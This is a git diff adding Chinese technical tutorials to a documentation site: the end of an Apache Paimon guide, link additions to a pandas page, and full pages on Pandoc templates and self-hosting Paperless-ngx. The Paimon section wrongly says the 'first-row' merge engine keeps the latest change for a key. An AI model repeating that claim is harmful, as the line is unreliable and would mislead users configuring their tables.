+    amount DECIMAL(10, 2),
+    status STRING,
+    order_time TIMESTAMP(3),
+    PRIMARY KEY (order_id) NOT ENFORCED
+) WITH (
+    'connector' = 'paimon',
+    'path' = 's3://my-data-lake/orders',
+    'merge-engine' = 'partial-update',
+    'changelog-producer' = 'input',
+    'snapshot.num-retained.max' = '10',
+    'snapshot.time-retained' = '7d'
+);
+
+-- Step 2: 从 Kafka 读取实时订单流，写入 Paimon
+INSERT INTO orders
+SELECT
+    order_id,
+    user_id,
+    product_name,
+    amount,
+    status,
+    TO_TIMESTAMP(FROM_UNIXTIME(order_ts, 'yyyy-MM-dd HH:mm:ss')) AS order_time
+FROM kafka_orders_source;
+
+-- Step 3: 查询今天的订单（利用分区裁剪）
+SELECT * FROM orders
+WHERE dt = '2026-06-13';
+
+-- Step 4: 时间旅行 —— 查看昨天这个时候的订单快照
+SELECT * FROM orders
+FOR SYSTEM_TIME AS OF TIMESTAMP('2026-06-12 10:00:00')
+WHERE dt = '2026-06-12';
+```
+
+**关键点解析**：
+
+- `'merge-engine': 'partial-update'`：部分更新模式，只更新指定的列，不会覆盖整行
+- `'changelog-producer': 'input'`：利用输入流的 changelog（变更日志），避免额外计算
+- `'snapshot.num-retained.max'`：最多保留 10 个快照，防止存储膨胀
+- `FOR SYSTEM_TIME AS OF`：这是 Paimon 的时间旅行语法，类似 Git 的 checkout
+
+### 示例 2：CDC 实时同步 MySQL 到数据湖
+
+场景：MySQL 里的用户表，通过 Flink CDC 实时同步到 Paimon，供下游 BI 查询。
+
+```sql
+-- Step 1: 创建 MySQL CDC 源表（Flink CDC Connector）
+CREATE TABLE mysql_users (
+    id INT,
+    name STRING,
+    email STRING,
+    city STRING,
+    updated_at TIMESTAMP(3),
+    PRIMARY KEY (id) NOT ENFORCED
+) WITH (
+    'connector' = 'mysql-cdc',
+    'hostname' = 'localhost',
+    'port' = '3306',
+    'username' = 'flink',
+    'password' = 'secret',
+    'server-id' = '5400-5404',
+    'database-name' = 'ecommerce',
+    'table-name' = 'users'
+);
+
+-- Step 2: 创建 Paimon 目标表（按城市分区）
+CREATE TABLE paimon_users (
+    id INT,
+    name STRING,
+    email STRING,
+    city STRING,
+    updated_at TIMESTAMP(3),
+    PRIMARY KEY (id) NOT ENFORCED
+) PARTITIONED BY (city) WITH (
+    'connector' = 'paimon',
+    'path' = 's3://my-data-lake/users',
+    'merge-engine' = 'first-row',
+    'changelog-producer' = 'full-compaction',
+    'file.format' = 'parquet',
+    'compaction.max-file-num' = '10'
+);
+
+-- Step 3: 实时同步
+INSERT INTO paimon_users
+SELECT id, name, email, city, updated_at
+FROM mysql_users;
+```
+
+**CDC 流程图解**：
+
+```
+MySQL binlog ──► Flink CDC Source ──► Flink Job ──► Paimon Table
+  (变更日志)        (解析binlog)         (实时处理)      (数据湖存储)
+                                         │
+                                         ▼
+                                   下游查询引擎
+                                 (Presto/Trino/Spark)
+```
+
+- `'merge-engine': 'first-row'`：当同一用户有多条变更时，保留最新的一条
+- `'changelog-producer': 'full-compaction'`：通过合并小文件产生 changelog，适合没有上游 changelog 的场景
+- 下游可以用 Presto/Trino/Spark 直接查询 Paimon 表，无需数据迁移
+
+## 五、为什么选择 Paimon？
+
+### 优势
+
+1. **真正的流式存储**：不是批处理加个"实时"标签，而是从架构层面为流式设计
+2. **低延迟高吞吐**：写入延迟秒级，吞吐可达每秒百万级记录
+3. **与 Flink 深度集成**：原生支持 Flink SQL，开箱即用
+4. **多计算引擎兼容**：除了 Flink，还支持 Spark、Presto/Trino、Doris 等查询
+5. **存算分离**：数据存在对象存储，计算资源可以独立伸缩，成本更低
+
+### 适用场景
+
+- 实时数据湖（Real-time Data Lake）
+- CDC 数据同步（MySQL → 数据湖）
+- 用户画像 / 实时推荐特征存储
+- 数据仓库的实时层（Real-time DWD/DWS）
+
+### 不适用场景
+
+- 强事务要求的 OLTP 业务数据库（请用 MySQL/PostgreSQL）
+- 需要复杂 JOIN 的高频交互式查询（请用 ClickHouse/Doris）
+- 纯离线批处理且无实时需求（传统 Hive 可能更简单）
+
+## 六、学习路线建议
+
+1. **先理解 Flink SQL**：Paimon 主要通过 Flink SQL 使用，先掌握 CREATE TABLE、INSERT SELECT、时间窗口等基础语法
+2. **本地搭建测试环境**：用 Docker 跑 Flink + Paimon + MiniIO（模拟 S3），写几个 INSERT 试试
+3. **实践 CDC 同步**：搭一个 MySQL 实例，用 Flink CDC 同步到 Paimon，观察 snapshot 的变化
+4. **阅读源码**：Paimon 代码结构清晰，从 `org.apache.paimon.table` 包开始看
+
+## 七、延伸阅读
+
+- GitHub: https://github.com/apache/paimon
+- 官方文档: https://paimon.apache.org/docs/
+- Flink CDC 集成指南: https://nightlies.apache.org/flink/flink-cdc-docs/stable/topics/connector-mysql-cdc
diff --git a/src/content/docs/projects/pandas.md b/src/content/docs/projects/pandas.md
index b8115c38b..955998e10 100644
--- a/src/content/docs/projects/pandas.md
+++ b/src/content/docs/projects/pandas.md
@@ -166,6 +166,9 @@ joined = pd.merge(users, orders, on="user_id", how="left")
 - [[codd-1970]] —— Codd 1970 — 关系模型奠基
 - [[cstore-2005]] —— C-Store — 把数据按列存，分析查询直接快十倍
 - [[dask]] —— Dask — 让 pandas / NumPy 直接跑在比内存大的数据上
+- [[jupyter-notebook]] —— Jupyter Notebook — 经典数据科学笔记本
+- [[jupyterlab]] —— JupyterLab — 下一代 Jupyter IDE
+- [[marimo]] —— marimo — 反应式 Python 笔记本
 - [[matplotlib]] —— matplotlib — Python 绘图基石
 - [[modin]] —— Modin — pandas 的分布式 drop-in（一行 import 自动并行）
 - [[numpy]] —— NumPy — Python 科学计算基石
diff --git a/src/content/docs/projects/pandoc-templates.md b/src/content/docs/projects/pandoc-templates.md
new file mode 100644
index 000000000..71a9be0bd
--- /dev/null
+++ b/src/content/docs/projects/pandoc-templates.md
@@ -0,0 +1,342 @@
+---
+title: Pandoc Templates — 给 Markdown 套上「出版级外壳」的模具
+来源: 'John MacFarlane, "Pandoc User''s Guide", Templates chapter, https://pandoc.org/MANUAL.html; jgm/pandoc doc/customizing-pandoc.md'
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Pandoc Templates（模板）是 Pandoc 在生成**独立文档**（standalone document）时用的「外壳模具」。日常类比：你写了一篇博客草稿（Markdown 正文），Pandoc 负责把字排好、转成 HTML/LaTeX/EPUB 等格式；模板则是**书皮 + 扉页 + 页眉页脚 + 目录槽位**——正文塞进 `$body$` 这个洞里，标题、作者、日期从元数据填进 `$title$`、`$author$` 等孔位。
+
+没有模板时，Pandoc 默认输出往往只是片段（fragment），适合嵌进网页；加上 `-s` / `--standalone` 或 `--template` 后，才会生成能直接发 PDF、发邮件、上架电子书的完整文件。
+
+官方文档把模板定位得很清楚：模板是**脚手架**，负责包裹正文和元数据展示；**不能**用模板直接改写正文里的某段措辞——那要靠 [Pandoc Filter](https://pandoc.org/filters.html) 在 AST 阶段动手。
+
+## 为什么重要
+
+不理解 Pandoc 模板，下面这些事容易踩坑：
+
+- 为什么 `pandoc note.md -o note.html` 只有 `<h1>` 没有 `<html>` 外壳——缺 `-s` 或默认 standalone 行为
+- 为什么改了 YAML 里的 `title` 但 PDF 封面没变——可能走的是 LaTeX 模板变量，不是 `--metadata` 和 `--variable` 混用
+- 为什么自定义 HTML 后升级 Pandoc 样式全乱——官方建议跟踪 [pandoc-templates](https://github.com/jgm/pandoc-templates) 仓库，大版本要 diff 默认模板
+- 为什么 DOCX 要 `--reference-doc` 而不是 `--template`——Office 格式用样式文档，不是纯文本模板（见下文「格式差异」）
+
+学术写作、技术书籍、静态站点生成（Hugo、Quarto、Obsidian 导出）背后，大量「最后一步排版」都落在 Pandoc 模板或它衍生的默认模板上。
+
+## 核心概念
+
+### 1. 默认模板 vs 自定义模板
+
+每种输出格式几乎都有内置默认模板。查看方式：
+
+```bash
+# 打印 HTML5 默认模板到终端
+pandoc -D html5
+
+# 保存为文件，再改
+pandoc -D latex -o my-default.latex
+```
+
+使用自定义模板：
+
+```bash
+pandoc report.md -s --template=corporate.html -o report.html
+```
+
+Pandoc 会先在当前目录找 `corporate.html`，找不到再去用户数据目录的 `templates/` 子目录（Linux/macOS 常见为 `~/.local/share/pandoc/templates/` 或 `~/.pandoc/templates/`，以 `pandoc --version` 里 `User data directory` 为准）。
+
+也可以**覆盖系统默认**：在用户数据目录放 `templates/default.html`，则 `-s -t html` 会自动用你的版本，无需每次 `--template`。
+
+### 2. 关键占位变量
+
+模板本质是带孔位的纯文本。最常用的孔：
+
+| 变量 | 含义 |
+|------|------|
+| `$body$` | 转换后的正文（已渲染成目标格式） |
+| `$title$` | 文档标题（YAML / `-M title=`） |
+| `$author$` | 作者，可为列表 |
+| `$date$` | 日期 |
+| `$toc$` | 目录 HTML/LaTeX 等（需 `--toc`） |
+| `$header-includes$` | `-H` 注入的头部内容 |
+| `$for(header-includes)$` … | 多值循环（见语法） |
+
+HTML 模板里常见还有 `$if(toc)$` 包裹目录块、`$if(abstract)$` 包裹摘要等条件段。完整变量表见 [Pandoc Variables](https://pandoc.org/demo/example33/6.2-variables.html)。
+
+### 3. 模板语法（Template syntax）
+
+Pandoc 使用自己的微型模板语言（受 Hakyll 启发），定界符为 `$...$` 或 `${...}`，可混用。
+
+**插值**：`$title$`、`${foo.bar.baz}$`（点号访问嵌套字段）。
+
+**条件**：
+
+```text
+$if(lang)$
+<html lang="$lang$">
+$else$
+<html>
+$endif$
+```
+
+注意：`-V foo=false` 得到的是**字符串** `"false"`，在条件里为真；布尔 false 要用 YAML 元数据或 `-M foo=false`。
+
+**循环**：
+
+```text
+$for(author)$
+  <meta name="author" content="$author$">
+$sep$
+$endfor$
+```
+
+**Partials（子模板）**：把重复片段拆到单独文件，例如 `styles.html`，主模板里写 `${ styles() }`。Partials 与主模板同目录；也可 `${ articles:bibentry() }` 对数组每项套用子模板，循环内用 `it` 指当前项。
+
+**管道（Pipes）**：`$name/uppercase$`、`$for(employees/pairs)$` 等，用于大小写、对齐、枚举编号等变换。
+
+**注释**：`$-- 这行不会出现在输出里`
+
+### 4. 变量从哪来
+
+| 来源 | 值类型 | 字符串处理 | Filter 可读 |
+|------|--------|------------|-------------|
+| `-V` / `--variable` | 字符串、布尔 | 原样插入模板 | 否 |
+| `-M` / `--metadata` | 字符串、布尔 | 转义 | 是 |
+| YAML 元数据块 | 还可对象、列表 | 按 Markdown 解释 | 是 |
+| defaults.yaml 的 `variables:` | 结构化 | 视字段而定 | 部分 |
+
+实践建议：**模板展示用 `-V`**（原样 HTML/CSS）；**文档语义元数据用 YAML**；需要 filter 读的结构化数据放 YAML。
+
+### 5. 格式差异：template vs reference-doc
+
+| 格式 | 定制方式 |
+|------|----------|
+| HTML, LaTeX, Typst, TEI, … | `--template` 文本模板 |
+| DOCX, ODT | `--reference-doc` 样式参考文件；模板管元数据插值 |
+| PPTX | 无传统模板，用 reference-doc |
+| PDF | 通常 `-t latex` + `default.latex` 模板，再调 PDF 引擎 |
+
+`--reference-doc` 改的是 Word 里「标题 1 / 正文」样式；`--template` 改的是封面、目录位置、页眉字段等**骨架**。
+
+### 6. 与 include 选项的关系
+
+很多时候不必 fork 整个默认模板：
+
+```bash
+pandoc doc.md -s -o out.html \
+  -H analytics.html \
+  -B disclaimer.md \
+  -A license.md
+```
+
+分别对应模板变量 `header-includes`、`include-before`、`include-after`。只加一段 CSS 或免责声明时，比维护一整份 `default.html` 轻松得多。
+
+## 实践案例
+
+### 案例 1：最小自定义 HTML 模板
+
+项目结构：
+
+```text
+templates/
+  minimal.html
+article.md
+```
+
+`templates/minimal.html`：
+
+```html
+<!DOCTYPE html>
+<html lang="$if(lang)$$lang$$else$en$endif$">
+<head>
+  <meta charset="utf-8">
+  <title>$if(title)$$title$$else$Untitled$endif$</title>
+  $if(author)$
+  <meta name="author" content="$for(author)$$author$$sep$, $endfor$">
+  $endif$
+  <style>
+    body { max-width: 40em; margin: 2em auto; font-family: system-ui, sans-serif; }
+    nav#TOC { background: #f6f8fa; padding: 1em; margin-bottom: 2em; }
+  </style>
+  $for(header-includes)$
+  $header-includes$
+  $endfor$
+</head>
+<body>
+  <header>
+    <h1 class="title">$title$</h1>
+    $if(subtitle)$<p class="subtitle">$subtitle$</p>$endif$
+    $if(date)$<p class="date">$date$</p>$endif$
+  </header>
+  $if(toc)$
+  <nav id="TOC" role="doc-toc">
+    $toc$
+  </nav>
+  $endif$
+  <main>
+    $body$
+  </main>
+  <footer><p>Generated with Pandoc $pandoc-version$</p></footer>
+</body>
+</html>
+```
+
+`article.md`：
+
+```yaml
+---
+title: "季度复盘"
+author: [Alice, Bob]
+date: 2026-06-13
+lang: zh-CN
+---
+```
+
+```bash
+pandoc article.md -s --toc \
+  --template=templates/minimal.html \
+  -o quarterly.html
+```
+
+要点：`-s` 启用 standalone；`--toc` 让 `$toc$` 有内容；`$for(header-includes)$` 保留以后用 `-H` 扩展的口子。
+
+### 案例 2：LaTeX 模板片段 + 命令行变量
+
+书籍常要改页边距、字体，而不必重写整个 `default.latex`。可以基于默认模板只改几行，或用 include：
+
+```bash
+pandoc book.md -s -t latex -o book.tex \
+  --template=templates/book.latex \
+  -V documentclass=book \
+  -V geometry:margin=1in \
+  -V mainfont="TeX Gyre Termes" \
+  -V CJKmainfont="Source Han Serif SC" \
+  --toc --number-sections
+```
+
+`templates/book.latex` 里在导言区保留 Pandoc 占位：
+
+```latex
+\documentclass[$if(fontsize)$$fontsize$$else$11pt$endif$]{$documentclass$}
+\usepackage{geometry}
+$if(geometry)$
+\geometry{$for(geometry)$$geometry$$sep$,$endfor$}
+$endif$
+$for(header-includes)$
+$header-includes$
+$endfor$
+\begin{document}
+$if(title)$
+\maketitle
+$endif$
+$if(toc)$
+\tableofcontents
+$endif$
+$body$
+\end{document}
+```
+
+再交给 `xelatex` 或 `pdflatex` 编译。PDF 路径：`pandoc book.md -o book.pdf --pdf-engine=xelatex` 同样适用此模板。
+
+### 案例 3：Partials 拆分页眉品牌区
+
+`templates/report.html`：
+
+```html
+<!DOCTYPE html>
+<html>
+<head>
+  <title>$title$</title>
+  ${ styles() }
+</head>
+<body>
+  ${ branding() }
+  $body$
+</body>
+</html>
+```
+
+`templates/branding.html`（partial，注意无最终换行）：
+
+```html
+<div class="brand">
+  <img src="$it.logo$" alt="logo" width="120">
+  <span>$it.company$</span>
+</div>
+```
+
+主文档 YAML：
+
+```yaml
+---
+title: "安全审计报告"
+branding:
+  logo: "/assets/logo.svg"
+  company: "Example Corp"
+---
+```
+
+模板中调用：`${ branding() }` 若 `branding` 是 map，partial 内用 `$it.logo$`。多个客户报告共用同一 `report.html`，只换 partial 或元数据。
+
+### 案例 4：defaults.yaml 固化模板工作流
+
+`pandoc-defaults.yaml`：
+
+```yaml
+from: markdown
+to: html5
+standalone: true
+template: templates/minimal.html
+toc: true
+variables:
+  lang: zh-CN
+metadata:
+  author: "Study Notes"
+```
+
+使用：
+
+```bash
+pandoc --defaults pandoc-defaults.yaml article.md -o out.html
+```
+
+团队里把模板路径、TOC、语言写进 defaults，比记一长串 CLI 标志可靠。
+
+## 调试与维护
+
+1. **对比默认模板**：升级 Pandoc 后执行 `pandoc -D html5 > /tmp/new-default.html`，与仓库里 fork 的模板 diff。
+2. **打印 partial**：`pandoc --print-default-data-file=templates/styles.html` 查看官方 HTML 样式片段。
+3. **看变量是否注入**：临时在模板里加 `<!-- meta-json: $meta-json$ -->`（HTML 注释）检查元数据 JSON。
+4. **先 fragment 后排版**：正文问题用 `pandoc -t native` 或 filter；版式问题才动模板。
+
+## 常见误区
+
+| 误区 | 事实 |
+|------|------|
+| 模板能改任意段落措辞 | 不能；改 AST 用 filter |
+| `-V` 和 `-M` 等价 | 转义与类型语义不同 |
+| DOCX 用 `.html` 模板就行 | 需要 `reference.docx` 管样式 |
+| 复制一次默认模板就永久省心 | 大版本需跟进 upstream |
+| 不用 `-s` 也会套模板 | `--template` 隐含 standalone，但习惯显式写 `-s` |
+
+## 与生态的关系
+
+- **Quarto**、**R Markdown**：在 Pandoc 之上再包一层，底层仍是模板 + metadata。
+- **[[ghostwriter]]** 等 Markdown 编辑器：导出 PDF 往往调用 Pandoc，模板决定最终版式。
+- **[[docusaurus]]** / **[[starlight]]**：不走 Pandoc 模板，但「内容 + 主题外壳」分工类似。
+- **LaTeX 发行版**：模板里的 `$body$` 已是 LaTeX 片段，错误常来自包冲突而非 Markdown 本身。
+
+## 小结
+
+Pandoc Templates 把「写作」（Markdown）和「出版」（HTML/LaTeX/EPUB 外壳）拆开：正文进 `$body$`，元数据填变量，条件/循环/partials 组织重复结构，`-V` / YAML / `-H` 注入样式与脚本。入门路径建议是 `pandoc -D html5` 读默认模板 → 复制改最小 diff → 用 `--template` 和 defaults 固化 → 大版本 diff upstream。需要改正文逻辑时再上 filter，需要 Word 样式时再上 reference-doc——三条线别混。
+
+## 参考
+
+- [Pandoc Manual: Templates](https://pandoc.org/MANUAL.html#templates)
+- [Template syntax](https://pandoc.org/demo/example33/6.1-template-syntax.html)
+- [Variables](https://pandoc.org/demo/example33/6.2-variables.html)
+- [Customizing pandoc (official doc)](https://github.com/jgm/pandoc/blob/main/doc/customizing-pandoc.md)
+- [jgm/pandoc-templates](https://github.com/jgm/pandoc-templates) — 各格式默认模板源码
diff --git a/src/content/docs/projects/paperless-ngx.md b/src/content/docs/projects/paperless-ngx.md
new file mode 100644
index 000000000..2ea1ed7bd
--- /dev/null
+++ b/src/content/docs/projects/paperless-ngx.md
@@ -0,0 +1,301 @@
+---
+title: Paperless-ngx — 自托管无纸化文档管理系统
+来源: https://github.com/paperless-ngx/paperless-ngx
+日期: 2026-06-13
+子分类: Web 后端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 日常类比：家里的「智能文件柜」，而不是堆满纸的抽屉
+
+想象你家里有一个 **永远不乱、永远能搜到** 的文件柜：
+
+- 每次收到水电费账单、保险单、合同、体检报告，你 **扫一张或拍一张**，丢进柜子的「投递口」。
+- 柜子里的 **小秘书**（OCR）把图片里的字认出来，变成可搜索的文字；还会猜这是「电力公司」还是「保险公司」发来的。
+- 你给每份文件贴上 **彩色标签**（tag）、记下 **对方是谁**（correspondent）、属于 **哪一类**（document type），以后搜「2024 退税」或「车险」一秒就能翻到。
+- 原件以 **PDF/A** 长期存档格式保存，同时保留原始扫描件；所有数据都在 **你自己家的服务器** 上，不经过云厂商。
+
+现实里，很多人的「归档系统」是：微信收藏夹里的 PDF、邮箱附件、打印机旁一摞没分类的 A4 纸。三年后要找某张发票，只能靠记忆翻文件夹。
+
+**Paperless-ngx**（[paperless-ngx/paperless-ngx](https://github.com/paperless-ngx/paperless-ngx)）就是把上面这个「智能文件柜」做成软件：社区维护的开源 **文档管理系统（DMS）**，把纸质/散落电子文档变成 **可全文检索的数字档案**。它是原版 Paperless 与 Paperless-ng 的官方继任者，文档站 [docs.paperless-ngx.com](https://docs.paperless-ngx.com)，默认推荐 **Docker Compose** 部署。与 [[bookstack]]（团队 Wiki 写作）不同，Paperless 专注 **个人/家庭/小团队的扫描件归档与 OCR 检索**；与 [[nextcloud-server]]（通用网盘）相比，它内置 **消费管道、OCR、标签体系、邮件收单** 等 DMS 能力，而不是单纯存文件。
+
+零基础路径：**官方安装脚本起一套 Docker → 理解 consume 目录与元数据 → 浏览器上传或拖文件 → 用标签/搜索找文档 → 可选 REST API 接自动化**。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：扫描件是图片，搜不到内容
+
+发票、合同扫描成 PDF 后，文件名往往是 `scan_001.pdf`。Paperless 用 **Tesseract OCR**（支持 100+ 语言，可选 Azure 远程 OCR）把图像变成可搜索文本，并在 UI 里 **高亮匹配片段**。
+
+### 痛点 2：元数据混乱，无法按「谁发的」「什么类型」过滤
+
+仅靠文件夹层级很快失控。Paperless 用 **Tag / Correspondent / Document Type / Storage Path / Custom Fields** 多维组织，并可用 **机器学习** 或可选 **LLM 建议** 自动打标签。
+
+### 痛点 3：进件渠道分散
+
+除了 Web 拖拽上传，还支持：
+
+- **consume 目录**：把文件丢进文件夹即自动入库（类 [[watchdog]] 消费）
+- **邮件规则**：IMAP 收信，按规则抓取附件并标记已读/删除
+- **REST API**：脚本、扫描仪、[[n8n]] 等工作流推送
+
+### 痛点 4：家庭多用户与敏感文档
+
+内置 **全局 + 单文档级权限**（基于 Django Guardian），可共享给家人或同事，同时限制谁只能看谁的发票。
+
+---
+
+## 核心概念拆解
+
+### 1. 文档（Document）
+
+系统中心实体。每份文档包含：
+
+- **title**：显示标题（可从文件名或规则生成）
+- **content**：OCR 后的全文（搜索索引来源）
+- **archive_serial_number**：可选档案编号
+- **original** 与 **archive** 文件：原稿 + PDF/A 归档副本
+- **created / added**：业务日期 vs 入库日期
+
+### 2. 元数据维度
+
+| 概念 | 作用 | 类比 |
+|------|------|------|
+| **Tag** | 多对多标签，可着色 | 彩色便利贴 |
+| **Correspondent** | 发件方/对方机构 | 信封上的寄件人 |
+| **Document Type** | 文档类别 | 「发票」「合同」「医疗」 |
+| **Storage Path** | 磁盘路径命名规则 | 档案柜第几层怎么编号 |
+| **Custom Fields** | 日期、布尔、下拉等扩展字段 | 自定义表格列 |
+
+### 3. 消费管道（Consumption Pipeline）
+
+文档进系统的标准路径：
+
+```
+进件（consume 目录 / API / 邮件 / Web 上传）
+    → Consumer 发现新文件
+    → Celery 任务队列（Redis  broker）
+    → Parser 解析格式（PDF、图片、Office、纯文本…）
+    → OCR（ocrmypdf + Tesseract）
+    → 自动匹配标签/对应方/类型（可选 ML）
+    → 写入数据库 + 媒体目录 + 全文索引（Tantivy）
+```
+
+**Consumer** 只负责监视投递口并 **通知任务处理器**；真正耗时的 OCR 与索引在 **Celery worker** 里并行执行（多核机器可同时处理多份文档）。
+
+### 4. 四大常驻进程（Docker 内已编排）
+
+| 组件 | 职责 |
+|------|------|
+| **webserver** | Angular 前端 + Django REST API |
+| **consumer** | 监视 `consume` 目录 |
+| **task queue (Celery worker)** | OCR、索引、邮件抓取、批量编辑 |
+| **scheduler (Celery beat)** | 定时任务：邮件检查、索引维护、自动匹配训练 |
+
+另需 **Redis**（消息队列）与 **PostgreSQL / MariaDB / SQLite**（元数据；生产推荐 PostgreSQL）。
+
+### 5. Workflows（工作流）
+
+比旧版「消费模板」更细的控制：在文档生命周期的触发点（创建、更新等）上执行动作——加标签、设权限、发 Webhook 等。适合「凡是来自 `*@utility.com` 的邮件附件自动打 `utilities` 标签」这类规则。
+
+### 6. 搜索（Full-text Search）
+
+- UI 与 API 均支持 **query=** 全文检索，返回 **score、highlights、rank**
+- **more_like_id=** 找相似文档
+- **custom_field_query** 用 JSON 表达式过滤自定义字段（日期区间、布尔、多选等）
+
+### 7. 安全与部署注意
+
+官方明确：**默认明文存盘、无应用层加密**；敏感扫描件应跑在 **可信内网/家庭 NAS**，配备份与反向代理 TLS。不要用不可信主机跑税务材料。
+
+---
+
+## 架构一图
+
+```text
+┌─────────────┐     REST      ┌──────────────────────────────────┐
+│ Angular SPA │ ◄──────────► │ Django + DRF (/api/documents/ …) │
+└─────────────┘               └───────────────┬──────────────────┘
+                                              │
+         consume/  email  API upload          │ ORM
+              │         │         │           ▼
+              └─────────┴─────────┴──► Celery + Redis
+                                              │
+                         OCR · parse · index  ▼
+                                    ┌─────────────────┐
+                                    │ PG + 媒体文件   │
+                                    │ + Tantivy 索引  │
+                                    └─────────────────┘
+```
+
+后端 **Django + Django REST Framework**；前端 **Angular** 单页应用；与 [[postgresql]]、[[redis]] 是常见组合。
+
+---
+
+## 实践案例
+
+### 案例 1：最快上手 — 官方安装脚本（Docker Compose）
+
+适合第一次在笔记本或 NAS 上试用：
+
+```bash
+# 交互式脚本：选数据库、创建管理员、拉镜像、起容器
+bash -c "$(curl --location --silent --show-error \
+  https://raw.githubusercontent.com/paperless-ngx/paperless-ngx/main/install-paperless-ngx.sh)"
+```
+
+装好后浏览器打开 `http://127.0.0.1:8000`，用脚本里设的账号登录。
+
+**手动 Compose 时**，关键是挂载三个目录（路径可改成你的 NAS 路径）：
+
+```yaml
+# docker-compose.yml 片段
+services:
+  webserver:
+    image: ghcr.io/paperless-ngx/paperless-ngx:latest
+    ports:
+      - "8000:8000"
+    volumes:
+      - ./data:/usr/src/paperless/data
+      - ./media:/usr/src/paperless/media
+      - ./consume:/usr/src/paperless/consume
+      - ./export:/usr/src/paperless/export
+```
+
+- **consume**：扫描仪/脚本把 PDF 丢这里 → 自动入库
+- **media**：归档后的 PDF/A 与原文件
+- **export**：批量导出用
+
+环境变量里至少配置 `PAPERLESS_REDIS`、`PAPERLESS_DB*`、`PAPERLESS_OCR_LANGUAGE`（如 `chi_sim+eng` 中英文混排）。NFS 等不支持 inotify 的共享盘，需设 `PAPERLESS_CONSUMER_POLLING=10` 改为轮询监视。
+
+### 案例 2：用 REST API 上传账单并查任务状态
+
+在「用户资料」里生成 API Token，或用用户名密码换 Token：
+
+```bash
+# 获取 Token
+curl -s -X POST http://127.0.0.1:8000/api/token/ \
+  -H "Content-Type: application/json" \
+  -d '{"username":"admin","password":"your-password"}'
+# → {"token":"abc123..."}
+
+export PAPERLESS_TOKEN="abc123..."
+```
+
+上传一份 PDF，并指定标题、标签 ID、对应方 ID：
+
+```bash
+TASK_ID=$(curl -s -X POST http://127.0.0.1:8000/api/documents/post_document/ \
+  -H "Authorization: Token ${PAPERLESS_TOKEN}" \
+  -F "document=@/path/to/electric-bill.pdf" \
+  -F "title=2024-06 电费账单" \
+  -F "tags=3" \
+  -F "correspondent=5")
+
+echo "消费任务 UUID: ${TASK_ID}"
+
+# 轮询任务直到完成
+curl -s "http://127.0.0.1:8000/api/tasks/?task_id=${TASK_ID}" \
+  -H "Authorization: Token ${PAPERLESS_TOKEN}"
+```
+
+成功后响应里会出现新 **document id**；失败可看到 OCR 或格式错误信息。
+
+全文搜索示例：
+
+```bash
+curl -sG "http://127.0.0.1:8000/api/documents/" \
+  -H "Authorization: Token ${PAPERLESS_TOKEN}" \
+  -H "Accept: application/json; version=9" \
+  --data-urlencode "query=电费 2024" \
+  | jq '.results[] | {id, title, score: .__search_hit__.score}'
+```
+
+`__search_hit__.highlights` 里带 HTML 高亮片段，便于 UI 或自建前端展示。
+
+### 案例 3：Python 脚本批量打标签
+
+适合把某文件夹历史 PDF 一次性导入：
+
+```python
+#!/usr/bin/env python3
+"""批量上传目录内 PDF 到 Paperless-ngx。"""
+import pathlib
+import requests
+
+BASE = "http://127.0.0.1:8000"
+TOKEN = "your-api-token"
+SESSION = requests.Session()
+SESSION.headers["Authorization"] = f"Token {TOKEN}"
+
+def upload(path: pathlib.Path, tag_ids: list[int]) -> str:
+    files = {"document": (path.name, path.read_bytes(), "application/pdf")}
+    data = {"title": path.stem}
+    for tid in tag_ids:
+        data.setdefault("tags", []).append(str(tid))
+    # requests 对同名字段需用列表元组
+    payload = [("title", data["title"])]
+    payload += [("tags", str(t)) for t in tag_ids]
+    resp = SESSION.post(f"{BASE}/api/documents/post_document/", files=files, data=payload)
+    resp.raise_for_status()
+    return resp.text.strip('"')  # task uuid
+
+for pdf in pathlib.Path("./inbox").glob("*.pdf"):
+    task = upload(pdf, tag_ids=[3])  # 例如 tag id=3 是「待核对」
+    print(pdf.name, "→ task", task)
+```
+
+配合 **Workflow**：新文档带「待核对」标签时发邮件通知，核对后在 Web UI 批量去掉该标签。
+
+---
+
+## 与相近项目怎么选
+
+| 需求 | 更合适的选择 |
+|------|----------------|
+| 扫描件 OCR + 个人档案检索 | **Paperless-ngx** |
+| 团队协作文档 / Runbook Wiki | [[bookstack]]、Outline |
+| 通用文件同步与共享 | [[nextcloud-server]]、Syncthing |
+| 企业级 ECM、合规工作流 | Alfresco、M-Files（商业） |
+| 仅想要「文件夹同步」不做 OCR | 网盘即可，不必上 DMS |
+
+Paperless 强项是 **进件自动化 + OCR + 私有部署**；弱项是 **多人实时协同编辑**——它管的是「归档后的只读文档」，不是 Google Docs。
+
+---
+
+## 常用配置备忘
+
+| 变量 | 含义 |
+|------|------|
+| `PAPERLESS_URL` | 反代后的对外 URL，影响链接生成 |
+| `PAPERLESS_OCR_LANGUAGE` | Tesseract 语言包，如 `eng`、`deu`、`chi_sim` |
+| `PAPERLESS_TIME_ZONE` | 显示时区 |
+| `PAPERLESS_CONSUMER_POLLING` | NFS 等场景下启用目录轮询（秒） |
+| `PAPERLESS_CONSUMER_DISABLE` | 关闭文件夹监视，仅 API/Web 上传 |
+| `PAPERLESS_TASK_WORKERS` | Celery 并行度，树莓派可调低 |
+
+邮件消费、LDAP、OIDC、Office 文档（可选 Tika）等见官方 [Configuration](https://docs.paperless-ngx.com/configuration/) 与 [Usage](https://docs.paperless-ngx.com/usage/)。
+
+---
+
+## 延伸阅读
+
+- 官方文档：[docs.paperless-ngx.com](https://docs.paperless-ngx.com)
+- API 浏览器：`/api/schema/view/`（部署后本地访问）
+- 扫描仪兼容列表：项目 Wiki「Scanners & Software」
+- 相关笔记：[[postgresql]]（推荐数据库后端）、[[redis]]（任务队列）、[[docker]]（部署方式）
+
+---
+
+## 小结
+
+Paperless-ngx 把「扫描 → OCR → 打标签 → 全文搜索 → 长期 PDF/A 存档」打包成一套可自托管的方案。记住三条主线就够用：
+
+1. **进件**：consume 目录、Web、邮件、API 四选一或组合。
+2. **组织**：Tag / Correspondent / Document Type / Custom Fields，配合 Workflows 自动化。
+3. **检索**：内置全文引擎，API 的 `query` 与 `custom_field_query` 可接自建仪表盘或家庭自动化。
+
+从一台 NAS 或家用小主机跑起 Docker，把本月账单扫进去，搜一次「电费」——比任何功能列表都更能说明它值不值得留下。
diff --git a/src/content/docs/projects/patchright.md b/src/content/docs/projects/patchright.md
